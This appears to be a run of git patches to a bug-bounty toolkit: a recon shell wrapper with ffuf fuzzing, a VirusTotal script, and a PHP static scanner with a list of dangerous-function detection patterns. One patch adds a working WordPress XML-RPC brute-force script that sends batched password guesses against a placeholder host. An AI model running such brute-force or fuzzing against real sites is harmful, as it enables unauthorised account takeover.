22:21:32 +0100 Subject: [PATCH 352/460] [s0mbra] Option to select HTTP server (python, php) --- s0mbra.sh | 17 +++++++++++++---- 1 file changed, 13 insertions(+), 4 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index ac05896..483afd2 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -51,7 +51,8 @@ quick_nmap_scan() { # runs Python 3 built-in HTTP server on [PORT] http() { - echo -e "$BLUE[s0mbra] Running Simple HTTP Server in current directory on port $1$CLR" + STACK=$2 + echo -e "$BLUE[s0mbra] Running $STACK HTTP Server in current directory on port $1$CLR" echo -e "$GRAY\navailable network interfaces:$YELLOW" ifconfig | grep -e 'inet\s' |cut -d' ' -f 2 echo -e "$GRAY\navailable files/folders in SERVER ROOT: $CLR" @@ -62,7 +63,15 @@ http() { else PORT=$1 fi - python3 -m http.server $PORT + + case "$STACK" in + python) + python3 -m http.server $PORT + ;; + php) + php -S 127.0.0.1:$PORT + ;; + esac echo -e "\n$BLUE[s0mbra] Done." } @@ -726,7 +735,7 @@ case "$cmd" in quick_nmap_scan "$2" "$3" ;; http) - http "$2" + http "$2" "$3" ;; rockyou_john) rockyou_john "$2" "$3" @@ -834,7 +843,7 @@ case "$cmd" in echo -e "$BLUE_BG:: PENTEST TOOLS ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN quick_nmap_scan $GRAY[IP] [*PORTS]\t$LIGHTGREEN(nmap)$CLR\t\t -> nmap --top-ports [PORTS] to quickly enumerate open N-ports" echo -e "$CYAN full_nmap_scan $GRAY[IP] [*PORTS]\t$LIGHTGREEN(nmap)$CLR\t\t -> nmap --top-ports [PORTS]/-p- to enumerate; -sV -sC -A on found ports" - echo -e "$CYAN http $GRAY[PORT]$CLR\t\t\t\t\t -> runs HTTP server on [PORT] TCP port" + echo -e "$CYAN http $GRAY[PORT] [STACK]$CLR\t\t\t\t -> runs HTTP server on [PORT] TCP port; STACK: python,php" echo -e "$CYAN generate_shells $GRAY[IP] [PORT] $CLR\t\t\t -> generates ready-to-use reverse shells in various languages for given IP:PORT" echo -e "$CYAN nfs_enum $GRAY[IP]$CLR\t\t\t\t\t -> enumerates nfs shares on [IP] (2049 port has to be open/listed in rpcinfo)" echo -e "$CYAN smb_enum $GRAY[IP] [USER] [PASSWORD]$CLR\t\t -> enumerates SMB shares on [IP] as [USER] (eg. null) (445 port has to be open)" From 22d521dc808188afc3205bc3519fe68909b8eb7c Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 12 Oct 2022 05:35:14 +0100 Subject: [PATCH 353/460] [s0mbra] fox for removing temporary dirs after peek --- s0mbra.sh | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 483afd2..7bfd7ca 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -267,9 +267,9 @@ peek() { # cleanup echo -e "\n$BLUE[s0mbra] Remove temporary files...\n" - rm -f $TMPDIR/s0mbra_recon_sublister_$DOMAIN.log - rm -f $TMPDIR/s0mbra_recon_subfinder.log - cd $TMPDIR && rm -f hm* + rm -rf $TMPDIR/s0mbra_recon_sublister_$DOMAIN.log + rm -rf $TMPDIR/s0mbra_recon_subfinder.log + cd $TMPDIR && rm -rf hm* END_TIME=$(date) echo -e "$GREEN\nstarted at: $RED $START_TIME $GREEN" From f7e2728a64768cc9a5a0dd73eb92882546c6a921 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 19 Oct 2022 21:54:21 +0100 Subject: [PATCH 354/460] [virustotal] Reomove ctfpwn dependency --- virustotal.py | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/virustotal.py b/virustotal.py index 9a6aa7a..a68fde2 100755 --- a/virustotal.py +++ b/virustotal.py @@ -1,7 +1,7 @@ -#!/usr/bin/env python +#!/usr/bin/env python3 from netaddr import * -import ctfpwn +import requests import json import time import os @@ -20,10 +20,10 @@ def process(cidr, logfile): url = 'https://www.virustotal.com/vtapi/v2/ip-address/report?apikey={}&ip={}'.format( virus_total_api_key, str(ip)) - resp = ctfpwn.http_get(url) + resp = requests.get(url) - if resp: - domains = json.loads(resp) + if resp.status_code == 200: + domains = json.loads(resp.text) if (domains['response_code'] == 0): print("[-] Empty response for {}".format(str(ip))) From 3071a4c933e7bec0f52275d52aa72f8cbd2095fb Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 23 Nov 2022 08:50:32 +0000 Subject: [PATCH 355/460] [s0mbra] remove 403 HTTP response from fu --- s0mbra.sh | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 7bfd7ca..8a90bf1 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -340,15 +340,15 @@ recon() { if [[ $VHOSTS -eq "1" ]]; then # vhosts enumeration - ffuf -ac -c -w $DICT_HOME/vhosts -u $PROTO://$HOSTNAME/FUZZ -mc=200,206,301,302,403,422,429,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "Host: FUZZ.$HOSTNAME" -o $TMPDIR/s0mbra_recon_ffuf_vhosts_fullnames_$HOSTNAME.log + ffuf -ac -c -w $DICT_HOME/vhosts -u $PROTO://$HOSTNAME/FUZZ -mc=200,206,301,302,422,429 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "Host: FUZZ.$HOSTNAME" -o $TMPDIR/s0mbra_recon_ffuf_vhosts_fullnames_$HOSTNAME.log - ffuf -ac -c -w $DICT_HOME/vhosts -u $PROTO://$HOSTNAME/FUZZ -mc=200,206,301,302,403,422,429,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "Host: FUZZ" -o $TMPDIR/s0mbra_recon_ffuf_vhosts_$HOSTNAME.log + ffuf -ac -c -w $DICT_HOME/vhosts -u $PROTO://$HOSTNAME/FUZZ -mc=200,206,301,302,422,429 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "Host: FUZZ" -o $TMPDIR/s0mbra_recon_ffuf_vhosts_$HOSTNAME.log fi # ffuf if [[ $FFUF -eq "1" ]]; then - ffuf -ac -c -w $DICT_HOME/starter.txt -u $PROTO://$HOSTNAME/FUZZ -mc=200,206,301,302,403,422,429,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_starter_$HOSTNAME.log - ffuf -ac -c -w $DICT_HOME/lowercase.txt -u $PROTO://$HOSTNAME/FUZZ/ -mc=200,206,301,302,403,422,429,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_lowercase_$HOSTNAME.log + ffuf -ac -c -w $DICT_HOME/starter.txt -u $PROTO://$HOSTNAME/FUZZ -mc=200,206,301,302,422,429 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_starter_$HOSTNAME.log + ffuf -ac -c -w $DICT_HOME/lowercase.txt -u $PROTO://$HOSTNAME/FUZZ/ -mc=200,206,301,302,422,429 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_lowercase_$HOSTNAME.log fi # x8 @@ -382,7 +382,7 @@ fu() { # set response status code(s) to match on: if [[ -z $4 ]]; then - HTTP_RESP_CODES=200,206,301,302,403,500 + HTTP_RESP_CODES=200,206,301,302,500 else HTTP_RESP_CODES=$4 fi From 930a63067b3aa0313483b491ccf1ca49e71083e8 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 28 Nov 2022 16:46:13 +0000 Subject: [PATCH 356/460] [pef] Added POST, GET, REQUEST and COOKIES to detection as CRITICAL --- pef/imports/pefdocs.py | 24 ++++++++++++++++++++++++ pef/pef.py | 1 - 2 files changed, 24 insertions(+), 1 deletion(-) diff --git a/pef/imports/pefdocs.py b/pef/imports/pefdocs.py index fb7a50f..3be2893 100644 --- a/pef/imports/pefdocs.py +++ b/pef/imports/pefdocs.py @@ -466,5 +466,29 @@ "This is likely a raw SQL query, which can be filled with user provided input or not implemented as prepared statement", "SQL Injection", "medium" + ], + "$_POST": [ + "$_POST reference found", + "", + "", + "critical" + ], + "$_GET": [ + "$_GET reference found", + "", + "", + "critical" + ], + "$_REQUEST": [ + "$_REQUEST reference found", + "", + "", + "critical" + ], + "$_COOKIES": [ + "$_COOKIES reference found", + "", + "", + "critical" ] } diff --git a/pef/pef.py b/pef/pef.py index 070a7f0..d8ee034 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -117,7 +117,6 @@ def main(self, src): f = open(src, "r", encoding="ISO-8859-1") i = 0 all_lines = f.readlines() - for l in all_lines: i += 1 line = l.rstrip() From ad2341e9cbea4e4ef20668ee2cb9958f8c0d19ed Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 7 Dec 2022 21:41:03 +0000 Subject: [PATCH 357/460] [pef] 'TypeError: expected str, bytes or os.PathLike object, not NoneType' due to missing file [FIXED] --- pef/pef.py | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index d8ee034..db73419 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -149,7 +149,8 @@ def run(self): if __name__ == "__main__": parser = argparse.ArgumentParser( - description=sys.modules[__name__].__doc__ + description=sys.modules[__name__].__doc__, + add_help=True ) filename = '.' # initial value for file/dir to scan is current directory @@ -158,7 +159,10 @@ def run(self): parser.add_argument( "-l", "--level", help="severity level: ALL, LOW, MEDIUM, HIGH or CRITICAL; default - ALL") parser.add_argument( - "-f", "--file", help="File or directory name to scan (if directory name is provided, make sure -r/--recursive is set)") + "-f", + "--file", + help="File or directory name to scan (if directory name is provided, make sure -r/--recursive is set)", + required=True) args = parser.parse_args() level = args.level.upper() if args.level else 'ALL' From 1cdde13c5f7957da8e05834d0947783264b40229 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 13 Dec 2022 07:49:31 +0000 Subject: [PATCH 358/460] [pef] multiple options for --level --- pef/pef.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pef/pef.py b/pef/pef.py index db73419..7d65120 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -96,7 +96,7 @@ def print_code_line(self, file_name, _line, i, fn, severity="", level='ALL'): impact = pefdocs.exploitableFunctionsDesc.get(fn.strip())[3] vuln_class = pefdocs.exploitableFunctionsDesc.get(fn.strip())[2] - if impact.upper() == level.upper() or level == 'ALL': + if (impact.upper() in level.upper()) or level == 'ALL': if len(_line) > 255: _line = _line[:120] + \ f" (...truncated -> line is {len(_line)} characters long)" From a68239d8b20b06dd2a82c7adda9c98486cf2a4f6 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 13 Dec 2022 07:55:13 +0000 Subject: [PATCH 359/460] [pef] multiple options for --level --- pef/pef.py | 117 ++++++++++++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 115 insertions(+), 2 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index 7d65120..fc47e3d 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -20,10 +20,123 @@ import re import argparse -from imports import pefdefs from imports import pefdocs from imports.beautyConsole import beautyConsole +# exploitable functions +exploitableFunctions = [ + "system(", + "exec(", + "popen(", + "pcntl_exec(", + "eval(", + "arse_str(", + "parse_url(", + "preg_replace(", + "create_function(", + "passthru(", + "shell_exec(", + "popen(", + "proc_open(", + "pcntl_exec(", + "extract(", + "putenv(", + "ini_set(", + "mail(", + "header(", + "unserialize(", + "assert(", + "call_user_func(", + "call_user_func_array(", + "ereg_replace(", + "eregi_replace(", + "mb_ereg_replace(", + "mb_eregi_replace(", + "virtual", + "readfile(", + "file_get_contents(", + "show_source(", + "highlight_file(", + "fopen(", + "file(", + "fpassthru(", + "fsockopen(", + "gzopen(", + "gzread(", + "gzfile(", + "gzpassthru(", + "readgzfile(", + "mssql_query(", + "odbc_exec(", + "sqlsrv_query(", + "PDO::query(", + "move_uploaded_file(", + "echo", + "print(", + "printf(", + "ldap_search(", + "header(", + "sqlite_", + "sqlite_query(", + "pg_", + "pg_query(", + "mysql_", + "mysql_query(", + "mysqli::query(", + "mysqli_", + "mysqli_query(", + "apache_setenv(", + "dl(", + "escapeshellarg(", + "escapeshellcmd(", + "extract(", + "get_cfg_var(", + "get_current_user(", + "getcwd(", + "getenv(", + "ini_restore(", + "ini_set(", + "passthru(", + "pcntl_exec(", + "php_uname(", + "phpinfo(", + "popen(", + "proc_open(", + "putenv(", + "symlink(", + "syslog(", + "curl_exec(", + "__wakeup(", + "__destruct(", + "__sleep(", + "filter_var(", + "file_put_contents(", + "$_POST", + "$_GET", + "$_COOKIE", + "$_REQUEST", + "$_SERVER", + "include($_GET", + "require($_GET", + "include_once($_GET", + "require_once($_GET", + "include($_REQUEST", + "require($_REQUEST", + "include_once($_REQUEST", + "require_once($_REQUEST", + "$_SERVER[\"PHP_SELF\"]", + "$_SERVER[\"SERVER_ADDR\"]", + "$_SERVER[\"SERVER_NAME\"]", + "$_SERVER[\"REMOTE_ADDR\"]", + "$_SERVER[\"REMOTE_HOST\"]", + "$_SERVER[\"REQUEST_URI\"]", + "$_SERVER[\"HTTP_USER_AGENT\"]", + "SELECT.*FROM", + "INSERT.*INTO", + "UPDATE.*", + "DELETE.*FROM" +] + def banner(): """ @@ -121,7 +234,7 @@ def main(self, src): i += 1 line = l.rstrip() if self.level: - for fn in pefdefs.exploitableFunctions: + for fn in exploitableFunctions: self.analyse_line(l, i, fn, f, line) return # return how many findings in current file From 1e1a3737eacb48bdacb2560ee53db5f04dc90dc5 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 27 Dec 2022 20:16:24 +0000 Subject: [PATCH 360/460] [pef] Refactoring; file separator in results --- pef/imports/pefdefs.py | 115 ----------------------------------------- pef/pef.py | 28 ++++++---- 2 files changed, 17 insertions(+), 126 deletions(-) delete mode 100755 pef/imports/pefdefs.py diff --git a/pef/imports/pefdefs.py b/pef/imports/pefdefs.py deleted file mode 100755 index 7b5a6be..0000000 --- a/pef/imports/pefdefs.py +++ /dev/null @@ -1,115 +0,0 @@ -# Definitions for pef.py - -# exploitable functions -exploitableFunctions = [ - "system(", - "exec(", - "popen(", - "pcntl_exec(", - "eval(", - "arse_str(", - "parse_url(", - "preg_replace(", - "create_function(", - "passthru(", - "shell_exec(", - "popen(", - "proc_open(", - "pcntl_exec(", - "extract(", - "putenv(", - "ini_set(", - "mail(", - "header(", - "unserialize(", - "assert(", - "call_user_func(", - "call_user_func_array(", - "ereg_replace(", - "eregi_replace(", - "mb_ereg_replace(", - "mb_eregi_replace(", - "virtual", - "readfile(", - "file_get_contents(", - "show_source(", - "highlight_file(", - "fopen(", - "file(", - "fpassthru(", - "fsockopen(", - "gzopen(", - "gzread(", - "gzfile(", - "gzpassthru(", - "readgzfile(", - "mssql_query(", - "odbc_exec(", - "sqlsrv_query(", - "PDO::query(", - "move_uploaded_file(", - "echo", - "print(", - "printf(", - "ldap_search(", - "header(", - "sqlite_", - "sqlite_query(", - "pg_", - "pg_query(", - "mysql_", - "mysql_query(", - "mysqli::query(", - "mysqli_", - "mysqli_query(", - "apache_setenv(", - "dl(", - "escapeshellarg(", - "escapeshellcmd(", - "extract(", - "get_cfg_var(", - "get_current_user(", - "getcwd(", - "getenv(", - "ini_restore(", - "ini_set(", - "passthru(", - "pcntl_exec(", - "php_uname(", - "phpinfo(", - "popen(", - "proc_open(", - "putenv(", - "symlink(", - "syslog(", - "curl_exec(", - "__wakeup(", - "__destruct(", - "__sleep(", - "filter_var(", - "file_put_contents(", - "$_POST", - "$_GET", - "$_COOKIE", - "$_REQUEST", - "$_SERVER", - "include($_GET", - "require($_GET", - "include_once($_GET", - "require_once($_GET", - "include($_REQUEST", - "require($_REQUEST", - "include_once($_REQUEST", - "require_once($_REQUEST", - "$_SERVER[\"PHP_SELF\"]", - "$_SERVER[\"SERVER_ADDR\"]", - "$_SERVER[\"SERVER_NAME\"]", - "$_SERVER[\"REMOTE_ADDR\"]", - "$_SERVER[\"REMOTE_HOST\"]", - "$_SERVER[\"REQUEST_URI\"]", - "$_SERVER[\"HTTP_USER_AGENT\"]", - "SELECT.*FROM", - "INSERT.*INTO", - "UPDATE.*", - "DELETE.*FROM" -] diff --git a/pef/pef.py b/pef/pef.py index fc47e3d..2b9cdc5 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -181,7 +181,7 @@ def analyse_line(self, l, i, fn, f, line): if occurence found, output is printed """ - + res = None # there has to be space before function call; prevents from false-positives strings contains PHP function names atfn = "@{}".format(fn) fn = "{}".format(fn) @@ -189,9 +189,9 @@ def analyse_line(self, l, i, fn, f, line): # @ prevents from output being echoed if fn in line or atfn in line: - self.print_code_line(f.name, l, i, fn + (')' if '(' in fn else ''), self.severity, - self.level) - return + res = self.print_code_line( + f.name, l, i, fn + (')' if '(' in fn else ''), self.severity, self.level) + return res def print_code_line(self, file_name, _line, i, fn, severity="", level='ALL'): """ @@ -204,6 +204,7 @@ def print_code_line(self, file_name, _line, i, fn, severity="", level='ALL'): "critical": "red" } + found = 0 # print legend only if there i sentry in pefdocs.py if fn and fn.strip() in pefdocs.exploitableFunctionsDesc.keys(): impact = pefdocs.exploitableFunctionsDesc.get(fn.strip())[3] @@ -216,12 +217,12 @@ def print_code_line(self, file_name, _line, i, fn, severity="", level='ALL'): else: print("{}{}:{}{} -> {}{}".format(beautyConsole.getColor( "white"), file_name, i, beautyConsole.getColor(impact_color[impact]), _line.strip()[:255], beautyConsole.getColor("grey"), vuln_class)) - + found += 1 if impact not in severity.keys(): severity[impact] = 1 else: severity[impact] = severity[impact] + 1 - return + return found > 0 def main(self, src): """ @@ -229,32 +230,37 @@ def main(self, src): """ f = open(src, "r", encoding="ISO-8859-1") i = 0 + res = None all_lines = f.readlines() for l in all_lines: i += 1 line = l.rstrip() if self.level: for fn in exploitableFunctions: - self.analyse_line(l, i, fn, f, line) - - return # return how many findings in current file + if self.analyse_line(l, i, fn, f, line) == True: + res = True + return res # return how many findings in current file def run(self): """ runs scanning """ + print( + f"\n{beautyConsole.getColor('green')}>>> RESULTS <<<{beautyConsole.getColor('gray')}") if self.recursive: for root, subdirs, files in os.walk(self.filename): + prev_filename = "" for f in files: extension = f.split('.')[-1:][0] if extension in ['php', 'inc', 'php3', 'php4', 'php5', 'phtml']: self.scanned_files = self.scanned_files + 1 res = self.main(os.path.join(root, f)) + if res is not None and f != prev_filename: + print(f">>> {f} <<<\t{'-' * (115 - len(f))}\n\n") + prev_filename = f else: self.scanned_files = self.scanned_files + 1 self.found_entries = self.main(self.filename) - - print(beautyConsole.getColor("white") + "-" * 100) print("\n") From 2b00f42154a080fb9cac9ce418fd07db93c98199 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 18 Jan 2023 08:47:36 +0000 Subject: [PATCH 361/460] [pef] exclude comments from scan results --- pef/pef.py | 17 +++-- s0mbra.sh | 10 +-- xmlrpc_amplif_bruteforce.py | 127 ++++++++++++++++++++++++++++++++++++ 3 files changed, 145 insertions(+), 9 deletions(-) create mode 100644 xmlrpc_amplif_bruteforce.py diff --git a/pef/pef.py b/pef/pef.py index 2b9cdc5..14fc868 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -200,7 +200,7 @@ def print_code_line(self, file_name, _line, i, fn, severity="", level='ALL'): impact_color = { "low": "green", "medium": "yellow", - "high": "red", + "high": "yellow", "critical": "red" } @@ -215,7 +215,7 @@ def print_code_line(self, file_name, _line, i, fn, severity="", level='ALL'): _line = _line[:120] + \ f" (...truncated -> line is {len(_line)} characters long)" else: - print("{}{}:{}{} -> {}{}".format(beautyConsole.getColor( + print("{}{}:{}{}\t{}{}".format(beautyConsole.getColor( "white"), file_name, i, beautyConsole.getColor(impact_color[impact]), _line.strip()[:255], beautyConsole.getColor("grey"), vuln_class)) found += 1 if impact not in severity.keys(): @@ -236,9 +236,10 @@ def main(self, src): i += 1 line = l.rstrip() if self.level: - for fn in exploitableFunctions: - if self.analyse_line(l, i, fn, f, line) == True: - res = True + if not self.is_comment(line): + for fn in exploitableFunctions: + if self.analyse_line(l, i, fn, f, line) == True: + res = True return res # return how many findings in current file def run(self): @@ -263,6 +264,12 @@ def run(self): self.found_entries = self.main(self.filename) print("\n") + def is_comment(self, line: str) -> bool: + """ + If line is a comment, we should ignore it + """ + line = re.sub(r"\s+", "", line) + return line.startswith("/") or line.startswith("*") # main program if __name__ == "__main__": diff --git a/s0mbra.sh b/s0mbra.sh index 8a90bf1..96b50e7 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -267,9 +267,9 @@ peek() { # cleanup echo -e "\n$BLUE[s0mbra] Remove temporary files...\n" - rm -rf $TMPDIR/s0mbra_recon_sublister_$DOMAIN.log - rm -rf $TMPDIR/s0mbra_recon_subfinder.log - cd $TMPDIR && rm -rf hm* + rm -f $TMPDIR/s0mbra_recon_sublister_$DOMAIN.log + rm -f $TMPDIR/s0mbra_recon_subfinder.log + rm -rf $TMPDIR/h* END_TIME=$(date) echo -e "$GREEN\nstarted at: $RED $START_TIME $GREEN" @@ -394,6 +394,8 @@ fu() { # if $3 arg passed to fu equals / - add at the end of the path (for dir enumerations where sometimes # dir path has to end with / to be identified ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$SELECTED_DICT.txt -u $1/FUZZ/ -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" + elif [[ $3 == "-" ]]; then + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$SELECTED_DICT.txt -u $1/FUZZ -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" else if [[ $3 == "-" ]]; then # if $3 equals - (dash) that means we should ignore it at all @@ -831,7 +833,7 @@ case "$cmd" in echo -e "$CYAN peek $GRAY[DOMAIN]$CLR\t\t\t\t\t -> lookaround, but for single domain (no scope file needed)" echo -e "$CYAN recon $GRAY[HOST] [OPTIONS] [PROTO http/https]$CLR\t -> recon; options: nmap,nikto,vhosts,ffuf,x8,subdomanizer" echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" - echo -e "$CYAN fu $GRAY[URL] [DICT] [*EXT or /] [HTTP RESP.]$CLR\t -> dirs and files enumeration with ffuf (DICT: starter, lowercase, wordlist etc.)" + echo -e "$CYAN fu $GRAY[URL] [DICT] [*EXT,/ or -] [HTTP RESP.]$CLR\t -> dirs and files enumeration with ffuf (DICT: starter, lowercase, wordlist etc.)" echo -e "$CYAN apifuzz $GRAY[BASE_URL] [ENDPOINTS]$CLR\t$YELLOW(REST)$CLR\t\t -> fuzzing API endpoints with httpie" echo -e "$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t$YELLOW(REST)$CLR\t\t -> runs kiterunner against apis file on [HOST] (create apis file first ;) )" echo -e "$CYAN gql $GRAY[TARGET_URL]$CLR\t\t$YELLOW(GraphQL)$CLR\t -> checking GraphQL endpoint for known vulnerabilities with graphql-cop" diff --git a/xmlrpc_amplif_bruteforce.py b/xmlrpc_amplif_bruteforce.py new file mode 100644 index 0000000..0e2b30c --- /dev/null +++ b/xmlrpc_amplif_bruteforce.py @@ -0,0 +1,127 @@ +#!/usr/bin/env python3 +# +# XML-RPC bruteforce amplification attack +# https://blog.cloudflare.com/a-look-at-the-new-wordpress-brute-force-amplification-attack/ + +import requests + +output = open("./output.txt", "w") +passwords = open( + "/Users/bl4de/hacking/dictionaries/100000_passwords.txt").readlines() +host = "HOST.com" + +# headers used in POST requests +h = { + "Host": host, + "User-Agent": "HackerOne/bl4de" +} + +index = 0 + +# XMLRPC url +url = f"https://{host}/xmlrpc.php" + +print("[+] building payload...") +# building payload for system.multicall wp.getUsersBlogs +payload_start = """ + + + system.multicall + + + + + +""" + + +payload_end = """ + + + + + + +""" + +total = 0 + + +def send_request_with_username(username, passwords): + global total + payload = "" + username = username.strip() + + for password in passwords: + payload = payload + """ + + + + methodName + + wp.getUsersBlogs + + + + params + + + + + + + + {} + + + {} + + + + + + + + + + + """.format(username, password.strip()) + total = total + 1 + + print("\n[+] payload for {} ready ({} KB)...".format(username, len(payload)/64)) + + payload = payload_start + payload + payload_end + + print(payload) + + print("[+] sending POST request with payload... ({} credentials in total checked)".format(total)) + resp = requests.post(url, headers=h, data=payload) + + if resp.status_code == 200: + print("[+] response HTTP 200 OK received, analysing results...") + # p0wned. This is the end :P + if "isAdmin" in resp.content: + print("[+] SUCCESS !!! Matching username/password for {} found!, please review response content for details...").format(username) + output.write(resp.content) + exit(0) + + else: + print( + "[-] no matching username/password for {} found... :(").format(username) + + output.write(resp.content) + + else: + print("[-] something wrong, {} HTTP Response form{} received: \n\n").format( + resp.status_code, username) + print(resp.content) + + +# for username in usernames: +# send_request_with_username("trapcall", ["123456"]) + +for i in range(0, 100000, 64): + p = passwords[i:i+64] + send_request_with_username("trapcall", p) + +print("[+] done...\n\n") From fb159bd55ab695fa61d41260609e52ca5e6f5fe1 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 22 Jan 2023 11:03:34 +0000 Subject: [PATCH 362/460] [s0mbra] added graphw00f; new menu layout --- s0mbra.sh | 84 +++++++++++++++++++++++++++---------------------------- 1 file changed, 41 insertions(+), 43 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 96b50e7..4e841a3 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -10,8 +10,6 @@ LIGHTGREEN='\033[32m' YELLOW='\033[1;33m' BLUE='\033[1;34m' BLUE_BG='\033[48;5;4m' -LIGHTBLUE='\033[34m' -LIGHTBLUE_BG='\033[48;5;6m' MAGENTA='\033[1;35m' CYAN='\033[36m' @@ -202,7 +200,7 @@ nfs_enum() { # quick subdomain enum + available HTTP server(s) - to find out if a program is # actually worth to look into :D -lookaround() { +scope() { TMPDIR=$(pwd) START_TIME=$(date) echo -e "$BLUE[s0mbra] Let's see what we've got here...$CLR\n" @@ -237,7 +235,7 @@ lookaround() { echo -e "\n$BLUE[s0mbra] Done.$CLR" } -# quick lookaround, but for single domain - no need to create scope file +# quick scope, but for single domain - no need to create scope file peek() { TMPDIR=$(pwd)/$1 if [[ ! -d $TMPDIR ]]; then @@ -602,6 +600,14 @@ gql() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } +# executes graphw00f fingerprint against GraphQL endpoint +graphw00f() { + clear + echo -e "$BLUE[s0mbra] Fingerprinting $1 GraphQL endpoint with graphw00f...$CYAN" + python3 /Users/bl4de/hacking/tools/graphw00f/main.py -d -f -t $1 + echo -e "$BLUE\n[s0mbra] Done! $CLR" +} + # runs PHP SAST tools against PHP application php_sast() { clear @@ -715,8 +721,8 @@ case "$cmd" in set_ip) set_ip "$2" ;; - lookaround) - lookaround "$2" + scope) + scope "$2" ;; peek) peek "$2" @@ -763,6 +769,9 @@ case "$cmd" in gql) gql "$2" ;; + graphw00f) + graphw00f "$2" + ;; dex_to_jar) dex_to_jar "$2" ;; @@ -829,50 +838,39 @@ case "$cmd" in *) clear echo -e "$BLUE_BG:: RECON ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" - echo -e "$CYAN lookaround $GRAY[SCOPE_FILE]$CLR\t\t\t -> just look around... (subfinder + httpx on discovered hosts from scope file)" - echo -e "$CYAN peek $GRAY[DOMAIN]$CLR\t\t\t\t\t -> lookaround, but for single domain (no scope file needed)" - echo -e "$CYAN recon $GRAY[HOST] [OPTIONS] [PROTO http/https]$CLR\t -> recon; options: nmap,nikto,vhosts,ffuf,x8,subdomanizer" + echo -e "$CYAN scope $GRAY[SCOPE_FILE]$CLR\t\t\t\t$CYAN recon $GRAY[HOST] [OPTIONS:nmap,nikto,vhosts,ffuf,x8,subdomanizer] [PROTO http/https]$CLR" + echo -e "$CYAN peek $GRAY[DOMAIN]$CLR" + echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" - echo -e "$CYAN fu $GRAY[URL] [DICT] [*EXT,/ or -] [HTTP RESP.]$CLR\t -> dirs and files enumeration with ffuf (DICT: starter, lowercase, wordlist etc.)" - echo -e "$CYAN apifuzz $GRAY[BASE_URL] [ENDPOINTS]$CLR\t$YELLOW(REST)$CLR\t\t -> fuzzing API endpoints with httpie" - echo -e "$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t$YELLOW(REST)$CLR\t\t -> runs kiterunner against apis file on [HOST] (create apis file first ;) )" - echo -e "$CYAN gql $GRAY[TARGET_URL]$CLR\t\t$YELLOW(GraphQL)$CLR\t -> checking GraphQL endpoint for known vulnerabilities with graphql-cop" + echo -e "$CYAN fu $GRAY[URL] [DICT] [*EXT,/ or -] [HTTP RESP.]$CLR\t$CYAN apifuzz $GRAY[BASE_URL] [ENDPOINTS]$CLR\t$YELLOW(REST)$CLR" + echo -e "$CYAN graphw00f $GRAY[HOST]$CLR\t\t$YELLOW(GraphQl)$CLR\t$CYAN gql $GRAY[TARGET_URL]$CLR\t\t$YELLOW(GraphQL)$CLR" + echo -e "$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t$YELLOW(REST)$CLR" + echo -e "$BLUE_BG:: CLOUD ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" - echo -e "$CYAN discloS3 $GRAY[URL]$CLR\t\t\t$YELLOW(AWS)$CLR\t\t -> runs bucket-disclose.sh against [URL]" - echo -e "$CYAN s3 $GRAY[BUCKET]$CLR\t\t\t$YELLOW(AWS)$CLR\t\t -> checks privileges on AWS S3 